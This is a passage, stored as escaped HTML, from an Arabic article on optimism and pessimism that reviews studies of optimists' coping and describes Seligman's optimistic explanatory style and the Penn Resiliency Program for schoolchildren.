\u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0644\u0645 \u062a\u0631\u062a\u0628\u0637 \u0628\u0627\u0644\u062a\u063a\u064a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0633\u0627\u0644\u0628 negative affect\u060c \u0648\u0639\u0644\u064a\u0647 \u064a\u0628\u062f\u0648 \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0631\u062a\u0628\u0637 \u0628\u0635\u0648\u0631\u0629 \u0646\u0648\u0639\u064a\u0629 \u0628\u0627\u0644\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0648\u062c\u0628\u060c \u0648\u064a\u0639\u0646\u064a \u0630\u0644\u0643 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0643\u062b\u0631 \u0633\u0639\u0627\u062f\u0629 \u0641\u064a \u062d\u064a\u0627\u062a\u0647\u0645 \u0645\u0646 \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u064a\u0646.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0643\u0645\u0627<\/strong> \u0623\u0646\u0651 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0643\u062b\u0631 \u0642\u0627\u0628\u0644\u064a\u0629 \u0644\u0644\u062a\u0639\u0627\u0641\u064a \u0645\u0646 \u062e\u064a\u0628\u0627\u062a \u0627\u0644\u0623\u0645\u0644 \u0648\u0645\u0646 \u0634\u062f\u0627\u0626\u062f \u0627\u0644\u062d\u064a\u0627\u0629 \u0645\u0635\u0627\u0639\u0628\u0647\u0627 \u0628\u0633\u0631\u0639\u0629 \u0639\u0628\u0631 \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0625\u0644\u0649 \u0627\u0644\u0646\u0648\u0627\u062a\u062c \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0644\u0644\u0623\u062d\u062f\u0627\u062b \u0648\u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0633\u0644\u0628\u064a\u0629\u060c \u0648\u062f\u0631\u0633 (Litt, etal., 1992) \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0648\u0627\u0644\u062a\u0634\u0627\u0624\u0645 \u0628\u064a\u0646 \u0627\u0644\u0632\u0648\u062c\u064a\u0646 \u0627\u0644\u0630\u064a\u0646 \u064a\u062c\u0631\u064a\u0627\u0646 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0639\u0645\u0644\u064a\u0629 \u0623\u0637\u0641\u0627\u0644 \u0627\u0644\u0623\u0646\u0627\u0628\u064a\u0628 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u0625\u0646\u062c\u0627\u0628 in-vitro fertilization (IVF) \u0648\u062a\u0643\u0648\u0646\u062a \u0639\u064a\u0646\u0629 \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0645\u0646 (41) \u0633\u064a\u062f\u0629 \u0648\u0623\u0632\u0648\u0627\u062c\u0647\u0645 \u062a\u0645 \u0645\u0642\u0627\u0628\u0644\u062a\u0647\u0645 \u0642\u0628\u0644 \u0627\u0644\u0639\u0645\u0644\u064a\u0629 \u0628\u0623\u0633\u0628\u0648\u0639\u064a\u0646 \u0648\u0628\u0639\u062f \u0623\u0633\u0628\u0648\u0639\u064a\u0646 \u0645\u0646 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u062d\u0645\u0644 \u0627\u0644\u0644\u0627\u062d\u0642\u060c \u0648\u0645\u0646 \u0628\u064a\u0646 \u0627\u0644\u0633\u064a\u062f\u0627\u062a \u0627\u0644\u0644\u0627\u062a\u064a \u062a\u0644\u0642\u064a\u0646 \u0646\u062a\u064a\u062c\u0629 \u0633\u0644\u0628\u064a\u0629 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u062d\u0645\u0644 \u0643\u0627\u0646\u062a \u0627\u0644\u0633\u064a\u062f\u0627\u062a \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0627\u062a \u0623\u0643\u062b\u0631 \u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0645\u0648\u0627\u062c\u0647\u0629 \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0627\u0644\u0625\u062e\u0635\u0627\u0628 \u0627\u0644\u0641\u0627\u0634\u0644\u0629 \u0648\u0623\u0643\u062b\u0631 \u062a\u062d\u0645\u0644\u0627\u064b \u0644\u0647\u0627 \u0628\u0627\u0644\u0627\u0639\u062a\u0642\u0627\u062f \u0628\u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0627\u062a \u062c\u0639\u0644\u062a \u0639\u0644\u0627\u0642\u062a\u0647\u0645 \u0623\u0642\u0648\u0649 \u0628\u0623\u0632\u0648\u0627\u062c\u0647\u0646\u060c \u0628\u064a\u0646\u0645\u0627 \u0623\u0638\u0647\u0631\u062a \u0627\u0644\u0633\u064a\u062f\u0627\u062a \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u0627\u062a \u0623\u0639\u0631\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628 \u0648\u0634\u0639\u0631\u0646 \u0628\u0623\u0646\u0647\u0645 \u0645\u0633\u0626\u0648\u0644\u0627\u062a \u0634\u062e\u0635\u064a\u0646 \u0639\u0646 \u0647\u0630\u0627 \u0627\u0644\u0625\u062e\u0641\u0627\u0642\u060c \u0648\u0623\u0638\u0647\u0631\u062a \u0646\u062a\u0627\u0626\u062c \u0647\u0630\u0647 \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0627\u062a \u0623\u0643\u062b\u0631 \u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u062e\u064a\u0628\u0627\u062a \u0627\u0644\u0623\u0645\u0644 \u0648\u0630\u0644\u0643 \u0639\u0628\u0631 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u062b\u0631\u0627\u062a \u0623\u0648 \u0627\u0644\u0625\u062e\u0641\u0627\u0642\u0627\u062a.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u062a\u0641\u064a\u062f<\/strong> \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a \u0623\u062e\u0631\u0649 \u0645\u062b\u0644 \u062f\u0631\u0627\u0633\u0629 (Taylor et al., 1992) \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0643\u062b\u0631 \u0642\u0627\u0628\u0644\u064a\u0629 \u0648\u0645\u064a\u0644\u0627\u064b \u0644\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u0641\u064a \u0633\u0644\u0648\u0643\u064a\u0627\u062a \u062d\u0644 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0639\u0646\u062f \u0645\u0648\u0627\u062c\u0647\u0629 \u0635\u0639\u0648\u0628\u0627\u062a \u0623\u0648 \u0645\u062a\u0627\u0639\u0628\u060c \u0648\u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u064a\u0632\u064a\u062f \u0645\u0646 \u0637\u064a\u0628 \u0627\u0644\u0648\u062c\u0648\u062f \u0627\u0644\u0646\u0641\u0633\u064a \u0648\u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0644\u062f\u064a\u0647\u0645 psychological well-being.<\/p>\n<p style=\"text-align: justify;\">\u0643\u0645\u0627 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0645\u0646 \u0627\u0644\u0645\u0635\u0627\u0628\u064a\u0646 \u0628\u0645\u0631\u0636 \u0646\u0642\u0635 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u0645\u0643\u062a\u0633\u0628 \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644 \u0623\u0643\u062b\u0631 \u0645\u064a\u0644\u0627\u064b \u0648\u0623\u0643\u062b\u0631 \u062a\u0648\u062c\u0647\u064b\u0627 \u0644\u0644\u062a\u062e\u0637\u064a\u0637 \u0644\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0639\u0644\u0627\u062c\u060c \u0648\u0623\u0643\u062b\u0631 \u0633\u0639\u064a\u064b\u0627 \u0644\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u060c \u0648\u064a\u062a\u062c\u0646\u0628\u0648\u0646 \u0644\u0648\u0645 \u0627\u0644\u0630\u0627\u062a \u0648\u0644\u0627 \u064a\u0644\u062c\u0626\u0648\u0646 \u0625\u0644\u0649 \u0627\u0644\u0647\u0631\u0648\u0628 \u0645\u0646 \u0645\u0634\u0643\u0644\u0627\u062a\u0647\u0645.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0645\u064a\u0644<\/strong> \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0648\u0646 \u0623\u064a\u0636\u064b\u0627 \u0625\u0644\u0649 \u0642\u0628\u0648\u0644 \u0627\u0644\u0648\u0627\u0642\u0639 \u0628\u0645\u062a\u0627\u0639\u0628\u0647 \u0648\u0645\u0648\u0627\u0642\u0641\u0647 \u0627\u0644\u0635\u0639\u0628\u0629 \u062f\u0648\u0646 \u0625\u0646\u0643\u0627\u0631 \u0648\u062f\u0648\u0646 \u062a\u0647\u0648\u064a\u0644 \u0623\u0648 \u062a\u0647\u0648\u064a\u0646\u060c \u0644\u0643\u0646 \u0645\u0639 \u0635\u064a\u0627\u063a\u062a\u0647 \u0648\u062a\u0644\u0648\u064a\u0646\u0647 \u0628\u0636\u0648\u0621 \u0645\u0634\u0631\u0642 \u0642\u062f\u0631 \u0627\u0644\u0625\u0645\u0643\u0627\u0646 (Carver et al., 1993.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0641\u0628\u064a\u0646\u0645\u0627<\/strong> \u064a\u0645\u064a\u0644 \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u0648\u0646 \u0625\u0644\u0649 \u0627\u0644\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0636\u063a\u0648\u0637 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0645\u0634\u0627\u0643\u0644\u0647\u0627 \u0648\u0645\u062a\u0627\u0639\u0628\u0647\u0627 \u0639\u0628\u0631 \u0627\u0644\u0625\u0646\u0643\u0627\u0631 \u0623\u0648 \u0627\u0644\u062a\u062c\u0627\u0647\u0644 \u0648\u0627\u0644\u062a\u062e\u0644\u064a \u0639\u0646 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0634\u062e\u0635\u064a\u0629\u060c \u064a\u0639\u0648\u0644 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u0648\u0646 \u0639\u0644\u0649 \u0643\u0644 \u0645\u0646 \u0627\u0644\u062a\u0642\u0628\u0644 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0631\u0648\u062d \u0627\u0644\u062f\u0639\u0627\u064a\u0629 \u0648\u0627\u0644\u062d\u0633 \u0627\u0644\u0641\u0643\u0627\u0647\u064a \u0627\u0644\u0639\u0627\u0645.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0645\u0646<\/strong> \u062c\u0627\u0646\u0628 \u0622\u062e\u0631 \u0631\u0628\u0645\u0627 \u064a\u0644\u0639\u0628 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u062f\u0648\u0631\u064b\u0627 \u0645\u0647\u0645\u064b\u0627 \u0641\u064a \u062c\u0648\u062f\u0629 \u062d\u064a\u0627\u0629 \u0645\u0646 \u064a\u0642\u062f\u0645\u0648\u0646 \u0627\u0644\u0631\u0639\u0627\u064a\u0629 \u0644\u0644\u0645\u0631\u0636\u0649 \u0628\u0623\u0645\u0631\u0627\u0636 \u0645\u0632\u0645\u0646\u0629\u060c \u0625\u0630 \u0644\u0627 \u0634\u0643 \u0623\u0646 \u0631\u0639\u0627\u064a\u0629 \u0634\u062e\u0635 \u0645\u062d\u0628\u0648\u0628 \u0648\u0639\u0632\u064a\u0632 \u064a\u0639\u0627\u0646\u064a \u0645\u0646 \u0645\u0631\u0636 \u062e\u0637\u064a\u0631 \u0648\u0645\u0647\u062f\u062f \u0644\u0644\u062d\u064a\u0627\u0629 \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0631\u062a\u0628 \u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0633\u0644\u0628\u064a\u0629 \u0639\u0644\u0649 \u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0644\u0645\u0642\u062f\u0645 \u0627\u0644\u0631\u0639\u0627\u064a\u0629\u060c \u0648\u0639\u0644\u0649 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0628\u062f\u0648 \u0623\u0646\u0647 \u0639\u0627\u0645\u0644 \u0648\u0642\u0627\u064a\u0629 \u0645\u0646 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0627\u0644\u0633\u0644\u0628\u064a\u0629\u060c \u0630\u0644\u0643 \u0644\u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u064a\u0631\u062a\u0628\u0637 \u0628\u0635\u0648\u0631\u0629 \u0633\u0644\u0628\u064a\u0629 \u0645\u0639 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628 \u0628\u0645\u0639\u0646\u0649 \u0623\u0646 \u0627\u0644\u0645\u062a\u0641\u0627\u0626\u0644\u064a\u0646 \u0623\u0642\u0644 \u0627\u0643\u062a\u0626\u0627\u0628\u064b\u0627\u060c \u0648\u0623\u0643\u062b\u0631 \u0634\u0639\u0648\u0631\u064b\u0627 \u0628\u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0623\u0648 \u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0630\u0627\u062a\u064a\u0629\u060c \u0648\u064a\u0646\u0637\u0628\u0642 \u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u0639\u0644\u0649 \u0645\u0646 \u064a\u0642\u0648\u0645\u0648\u0646 \u0628\u0631\u0639\u0627\u064a\u0629 \u0645\u0631\u0636\u0649 \u0627\u0644\u0633\u0631\u0637\u0627\u0646(Given et al., 1993)\u060c \u0645\u0631\u0636\u0649 \u0627\u0644\u0632\u0647\u0627\u064a\u0645\u0631 (Hooker et al., 1992)\u060c \u0648\u0645\u0631\u0636\u0649 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629 (Singh et al., 2004).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u062a\u0623\u0633\u064a\u0633\u064b\u0627<\/strong> \u0639\u0644\u0649 \u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0628\u062d\u0648\u062b \u0627\u0644\u0645\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627\u060c \u064a\u062a\u0636\u062d \u0623\u0646 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0623\u062f\u0627\u0629 \u0646\u0641\u0633\u064a\u0629 \u0642\u0648\u064a\u0629 \u062c\u062f\u064b\u0627 \u0641\u064a \u0631\u0635\u064a\u062f\u0646\u0627 \u0648\u0639\u062a\u0627\u062f\u0646\u0627 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u062d\u0645\u0627\u064a\u062a\u0646\u0627 \u0645\u0646 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0648\u062c\u0644\u0639\u0646\u0627 \u0623\u0643\u062b\u0631 \u0633\u0627\u0639\u062f\u0629 \u0648\u0623\u0643\u062b\u0631 \u0641\u0639\u0627\u0644\u064a\u0629 \u0648\u0623\u0643\u062b\u0631 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u0623\u0643\u062b\u0631 \u0635\u062d\u0629 \u0648\u0623\u0643\u062b\u0631 \u0625\u0642\u0628\u0627\u0644\u0627\u064b \u0639\u0644\u0649 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u062a\u0631\u062d\u064a\u0628\u064b\u0627 \u0628\u0647\u0627. \u0648\u0644\u0643\u0646 \u0645\u0627\u0630\u0627 \u0639\u0646 \u0645\u0646 \u0644\u0627 \u064a\u0646\u0638\u0631\u0648\u0646 \u0625\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0645\u0634\u0631\u0642\u0629 \u0645\u0646 \u0627\u0644\u062d\u064a\u0627\u0629\u061f \u0647\u0644 \u064a\u0645\u0643\u0646 \u062c\u0639\u0644 \u0627\u0644\u0645\u062a\u0634\u0627\u0626\u0645\u064a\u0646 \u0628\u0637\u0628\u064a\u0639\u062a\u0647\u0645 \u0623\u0643\u062b\u0631 \u062a\u0641\u0627\u0624\u0644\u0627\u064b\u061f<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #0000ff;\"><strong>\u062e\u0627\u0645\u0633\u064b\u0627- \u0647\u0644 \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u062a\u0634\u0627\u0626\u0645 \u0623\u0646 \u064a\u0635\u0628\u062d \u0645\u062a\u0641\u0627\u0626\u0644\u0627\u064b\u061f <\/strong><strong>Can a Pessimist Become an Optimist<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><strong>\u0628\u062f\u0623<\/strong> \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u0644\u064a\u062c\u0645\u0627\u0646 \u062d\u064a\u0627\u062a\u0647 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0627\u0644\u0645\u0647\u0646\u064a\u0629 \u0628\u062f\u0631\u0627\u0633\u0629 \u0645\u0648\u0636\u0648\u0639\u0627\u062a: \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u060c \u0627\u0644\u0636\u063a\u0648\u0637 \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u0648\u0627\u0644\u0642\u0644\u0642. \u0648\u062a\u0648\u0635\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0646\u062a\u0627\u0626\u062c \u062f\u0631\u0627\u0633\u0627\u062a\u0647 \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644 \u0625\u0644\u0649 \u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a optimistic explanatory style \u0648\u0627\u0639\u062a\u0628\u0631\u0647 \u0623\u062d\u062f \u0623\u0647\u0645 \u0639\u0648\u0627\u0645\u0644 \u0627\u0644\u0648\u0642\u0627\u064a\u0629 \u0645\u0646 \u0646\u0634\u0623\u0629 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628 \u0648\u062a\u0637\u0648\u0631\u0647 \u0639\u0646\u062f \u0645\u0648\u0627\u062c\u0647\u0629 \u0627\u0644\u0634\u062e\u0635 \u0644\u0638\u0631\u0648\u0641 \u062d\u064a\u0627\u062a\u064a\u0629 \u0635\u0639\u0628\u0629 \u0623\u0648 \u0645\u0648\u0627\u0642\u0641 \u0636\u0627\u063a\u0637\u0629.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u0623\u062b\u064a\u0631<\/strong> \u0646\u062a\u064a\u062c\u0629 \u0647\u0630\u0647 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0633\u0624\u0627\u0644\u0627\u064b \u0639\u0627\u0645\u064b\u0627 \u0645\u0641\u0627\u062f\u0647: \u0647\u0644 \u064a\u0645\u0643\u0646 \u062a\u0639\u0644\u0645 \u0623\u0648 \u0627\u0643\u062a\u0633\u0627\u0628 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a\u061f \u0648\u0644\u0644\u0625\u062c\u0627\u0628\u0629 \u0639\u0646 \u0647\u0630\u0627 \u0627\u0644\u0633\u0624\u0627\u0644 \u0623\u062c\u0631\u064a\u062a \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u062f\u064a\u0629 \u0645\u0646\u0647\u0627 \u062f\u0631\u0627\u0633\u0629 \u0648\u0627\u0644\u062a\u064a \u0642\u062f\u0645\u062a \u0634\u0648\u0627\u0647\u062f \u0639\u0644\u0649 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u062a\u0639\u0644\u064a\u0645 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0648\u0625\u0643\u0633\u0627\u0628\u0647\u0645 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a(Gillham, Reivich, Jaycox, &amp; Seligman, 1995).<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u062a\u062c\u0627\u0648\u0628\u064b\u0627<\/strong> \u0645\u0639 \u0647\u0630\u0627 \u0627\u0644\u0645\u0633\u0627\u0631 \u0627\u0644\u0628\u062d\u062b\u064a\u060c \u0623\u0639\u062f\u062a \u0645\u0646\u0627\u0647\u062c \u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0639\u062f\u064a\u062f\u0629 \u0644\u0644\u062a\u0637\u0628\u064a\u0642 \u0639\u0644\u0649 \u0623\u0637\u0641\u0627\u0644 \u0627\u0644\u0645\u062f\u0627\u0631\u0633 \u0644\u062a\u0639\u0644\u064a\u0645\u0647\u0645 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a\u060c \u0648\u062c\u0627\u0621 \u062a\u0641\u0636\u0644 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0644\u0645\u0627 \u062a\u062a\u0645\u064a\u0632 \u0628\u0647 \u0634\u062e\u0635\u064a\u062a\u0647\u0645 \u0645\u0646 \u0642\u0627\u0628\u0644\u064a\u0629 \u0644\u0644\u062a\u0634\u0643\u064a\u0644 \u0648\u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u062a\u0634\u0643\u064a\u0644\u060c \u0648\u0637\u0628\u0642\u062a \u0647\u0630\u0647 \u0627\u0644\u0645\u0646\u0627\u0647\u062c \u0641\u064a \u0625\u0637\u0627\u0631 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0628\u0631\u0646\u0627\u0645\u062c \u0628\u0646\u0633\u0644\u0641\u0627\u064a\u0646\u0627 \u0644\u0644\u0635\u0645\u0648\u062f Penn Resiliency Program (PRP), \u0648\u0627\u0644\u0630\u064a \u064a\u0633\u062a\u0647\u062f\u0641 \u0628\u0627\u0644\u0623\u0633\u0627\u0633 \u063a\u0631\u0633 \u0648\u0631\u0632\u0627\u0639\u0629 \u0627\u0644\u062a\u0641\u0627\u0624\u0644 \u0641\u064a \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0644\u0623\u0637\u0641\u0627\u0644 \u0628\u0648\u0635\u0641\u0647 \u0639\u0627\u0645\u0644 \u0648\u0642\u0627\u064a\u0629 \u0644\u0647\u0645\u00a0 \u0645\u0646 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644 \u0648\u0643\u0646\u0648\u0639 \u0645\u0646 \u0623\u0646\u0648\u0627\u0639 &#8220;\u0627\u0644\u062a\u062d\u0635\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a psychological immunization \u0623\u0648 \u062a\u0642\u0648\u064a\u0629 \u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221;.<\/p>\n<p style=\"text-align: justify;\"><strong>\u0648\u064a\u0639\u062a\u0645\u062f<\/strong> \u0641\u064a \u062a\u0637\u0628\u064a\u0642 \u0647\u0630\u0627 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c\u00a0 \u0639\u0644\u0649 \u0627\u0644\u0645\u0639\u0644\u0645\u064a\u0646 \u0648\u0627\u0644\u0645\u0631\u0634\u062f\u064a\u064a\u0646 \u0627\u0644\u0645\u062f\u0631\u0633\u064a\u064a\u0646 \u0641\u064a (12) \u062c\u0644\u0633\u0629 \u062a\u062f\u062e\u0644 \u062a\u0631\u0643\u0632 \u0639\u0644\u0649 \u062a\u063a\u064a\u064a\u0631 \u0637\u0631\u064a\u0642\u062a\u0647\u0645 \u0641\u064a \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0648\u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0647\u0645 \u0645\u0646 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0634\u0627\u0624\u0645\u064a \u0625\u0644\u0649 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u064a\u060c \u0648\u0645\u0646 \u0623\u0647\u0645 \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u062a\u062c\u0631\u064a\u0628\u064a\u0629 \u0627\u0644\u062a\u064a \u0623\u062c\u0631\u064a\u062a \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u0633\u0627\u0631 \u062f\u0631\u0627\u0633\u0629 (Gillham et al., 2007) \u0648\u0627\u0644\u062a\u064a \u062a\u0643\u0648\u0646\u062a \u0639\u064a\u0646\u062a\u0647\u0627 \u0645\u0646 (700) \u0637\u0641\u0644\u0627\u064b \u0645\u0646 \u062a\u0644\u0627\u0645\u064a\u0630 \u062b\u0644\u0627\u062b \u0645\u062f\u0627\u0631\u0633 \u0645\u0646 \u0627\u0644\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0645\u062a\u0648\u0633\u0637\u0629\u060c \u0648\u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0646\u0627\u0645\u062c \u0628\u0646\u0633\u0644\u0641\u0627\u0646\u064a\u0627 \u0644\u0644\u0635\u0645\u0648\u062f \u0648\u0628\u0631\u0627\u0645\u062c \u062a\u0639\u0632\u064a\u0632 \u0627\u0644\u0645\u0643\u062a\u0633\u0628\u0627\u062a \u0627\u0644\u0633\u0644\u0648\u0643\u064a\u0629 \u062a\u0645 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u062a\u0646\u0645\u064a\u0629 \u0642\u062f\u0631\u0629 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0636\u0648\u0627\u063a\u0637 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0639\u0627\u0645\u0629 \u0641\u064a \u062d\u064a\u0627\u062a\u0647\u0645\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u062a\u0646\u0645\u064a\u0629 \u062a\u0642\u062f\u064a\u0631 \u0627\u0644\u0630\u0627\u062a\u060c \u0648\u0645\u0642\u0627\u0648\u0645\u0629 \u0636\u063a\u0637 \u0627\u0644\u0623\u0642\u0631\u0627\u0646\u060c \u0648\u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0635\u0631\u0627\u0639\u0627\u062a \u0627\u0644\u0623\u0633\u0631\u064a\u0629\u060c \u0645\u0639 \u0648\u062c\u0648\u062f \u0645\u062c\u0645\u0648\u0639\u0629 \u0636\u0627\u0628\u0637\u0629 \u0645\u0646 \u0627\u0644\u062a\u0644\u0627\u0645\u064a\u0630 \u0644\u0645 \u062a\u062a\u0639\u0631\u0636 \u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u062a\u062f\u062e\u0644.\u00a0 \u0648\u062a\u0645 \u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u062a\u0644\u0627\u0645\u064a\u0630 \u0628\u0639\u062f \u0645\u0631\u0648\u0631 \u0623\u0633\u0628\u0648\u0639\u064a\u0646 